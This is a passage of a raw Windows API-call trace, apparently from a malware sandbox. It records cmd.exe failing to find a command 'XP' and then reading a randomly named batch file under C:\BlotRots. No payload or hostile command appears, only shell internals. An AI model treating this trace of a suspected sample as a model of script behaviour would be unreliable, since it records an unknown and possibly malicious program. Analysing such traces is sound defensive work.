returned 1 [0233.126] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0233.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.128] GetFileType (hFile=0x50) returned 0x2 [0233.128] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.128] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.129] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0233.129] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.129] GetFileType (hFile=0x50) returned 0x2 [0233.129] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.129] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.130] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.135] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.136] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.137] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0233.137] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0233.137] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0233.137] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0233.137] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0233.137] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0233.137] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0233.137] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0233.137] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0233.137] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0233.137] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0233.137] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0233.137] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0233.137] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0233.137] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0233.137] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0233.137] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0233.137] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0233.137] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0233.137] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0233.137] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0233.137] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0233.137] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0233.137] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0233.137] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0233.138] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0233.138] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0233.138] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0233.138] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0233.138] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0233.138] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0233.138] _wcsicmp (_String1="XP", _String2="START") returned 5 [0233.138] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0233.138] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0233.138] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0233.138] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0233.138] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0233.138] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0233.138] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0233.138] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0233.138] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0233.138] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0233.138] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0233.138] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.138] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.139] GetProcessHeap () returned 0x20b0f920000 [0233.139] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.142] SetErrorMode (uMode=0x0) returned 0x0 [0233.142] SetErrorMode (uMode=0x1) returned 0x0 [0233.142] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.145] SetErrorMode (uMode=0x0) returned 0x1 [0233.145] GetProcessHeap () returned 0x20b0f920000 [0233.145] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0233.145] GetProcessHeap () returned 0x20b0f920000 [0233.145] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0233.145] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.145] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.146] GetProcessHeap () returned 0x20b0f920000 [0233.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0233.146] GetProcessHeap () returned 0x20b0f920000 [0233.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.146] GetProcessHeap () returned 0x20b0f920000 [0233.146] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.146] GetProcessHeap () returned 0x20b0f920000 [0233.146] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.146] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.146] GetProcessHeap () returned 0x20b0f920000 [0233.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947190 [0233.146] GetProcessHeap () returned 0x20b0f920000 [0233.146] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947190, Size=0x7e) returned 0x20b0f956a30 [0233.146] GetProcessHeap () returned 0x20b0f920000 [0233.146] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0233.146] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.146] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.147] GetLastError () returned 0x2 [0233.147] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.147] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.147] GetLastError () returned 0x2 [0233.147] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.147] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.147] GetLastError () returned 0x2 [0233.147] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.148] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.148] GetLastError () returned 0x2 [0233.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.148] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.148] GetLastError () returned 0x2 [0233.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.148] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.148] GetLastError () returned 0x2 [0233.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.149] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.149] GetLastError () returned 0x2 [0233.149] ??_V@YAXPEAX@Z () returned 0x1 [0233.149] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.149] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.149] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.149] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.150] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.150] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0233.150] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0233.150] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0233.150] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0233.150] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0233.150] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0233.150] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0233.150] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0233.150] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0233.150] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0233.150] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0233.151] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0233.151] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0233.151] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0233.151] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0233.151] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0233.151] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0233.151] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0233.151] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0233.151] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0233.151] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0233.151] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0233.151] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0233.151] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0233.151] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0233.151] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0233.151] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0233.151] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0233.151] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0233.151] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0233.151] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0233.151] _wcsicmp (_String1="XP", _String2="START") returned 5 [0233.151] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0233.151] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0233.151] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0233.151] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0233.151] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0233.152] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0233.152] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0233.152] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0233.152] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0233.152] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0233.152] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0233.152] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0233.152] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0233.152] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0233.152] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0233.152] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0233.152] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0233.152] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0233.152] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0233.152] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0233.152] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0233.152] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0233.152] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0233.152] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0233.152] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0233.152] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0233.152] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0233.152] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0233.152] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0233.152] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0233.153] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0233.153] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0233.153] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0233.153] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0233.153] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0233.153] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0233.153] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0233.153] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0233.153] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0233.153] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0233.153] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0233.153] _wcsicmp (_String1="XP", _String2="START") returned 5 [0233.153] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0233.153] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0233.153] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0233.153] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0233.153] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0233.153] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0233.153] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0233.153] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0233.153] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0233.153] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0233.153] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0233.154] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0233.154] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0233.154] ??_V@YAXPEAX@Z () returned 0x1 [0233.154] GetProcessHeap () returned 0x20b0f920000 [0233.154] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0233.154] GetProcessHeap () returned 0x20b0f920000 [0233.154] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956760 [0233.154] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0233.154] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.155] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.155] GetProcessHeap () returned 0x20b0f920000 [0233.155] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0233.157] SetErrorMode (uMode=0x0) returned 0x0 [0233.157] SetErrorMode (uMode=0x1) returned 0x0 [0233.157] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.157] SetErrorMode (uMode=0x0) returned 0x1 [0233.157] GetProcessHeap () returned 0x20b0f920000 [0233.157] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0233.157] GetProcessHeap () returned 0x20b0f920000 [0233.157] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0233.157] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.157] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.157] GetProcessHeap () returned 0x20b0f920000 [0233.157] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0233.157] GetProcessHeap () returned 0x20b0f920000 [0233.157] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.157] GetProcessHeap () returned 0x20b0f920000 [0233.157] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.157] GetProcessHeap () returned 0x20b0f920000 [0233.157] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.157] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.157] GetProcessHeap () returned 0x20b0f920000 [0233.158] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0233.158] GetProcessHeap () returned 0x20b0f920000 [0233.158] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956d90 [0233.158] GetProcessHeap () returned 0x20b0f920000 [0233.158] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d90) returned 0x7e [0233.158] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.158] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.159] GetLastError () returned 0x2 [0233.159] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.159] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.159] GetLastError () returned 0x2 [0233.159] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.159] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.159] GetLastError () returned 0x2 [0233.159] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.160] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.160] GetLastError () returned 0x2 [0233.160] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.160] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.160] GetLastError () returned 0x2 [0233.160] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.160] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.160] GetLastError () returned 0x2 [0233.160] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.161] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.161] GetLastError () returned 0x2 [0233.161] ??_V@YAXPEAX@Z () returned 0x1 [0233.161] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.161] GetFileType (hFile=0x54) returned 0x2 [0233.161] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.161] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.163] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.163] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.164] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.164] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.164] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0233.170] ??_V@YAXPEAX@Z () returned 0x1 [0233.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.171] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.171] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.172] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.172] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.172] SetConsoleInputExeNameW () returned 0x1 [0233.172] GetConsoleOutputCP () returned 0x1b5 [0233.172] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.172] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.173] ??_V@YAXPEAX@Z () returned 0x1 [0233.174] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.174] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.174] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.175] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d90) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956760) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0233.175] GetProcessHeap () returned 0x20b0f920000 [0233.175] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.177] GetProcessHeap () returned 0x20b0f920000 [0233.177] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a5f0) returned 1 [0233.177] GetProcessHeap () returned 0x20b0f920000 [0233.177] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a0d0) returned 1 [0233.177] GetProcessHeap () returned 0x20b0f920000 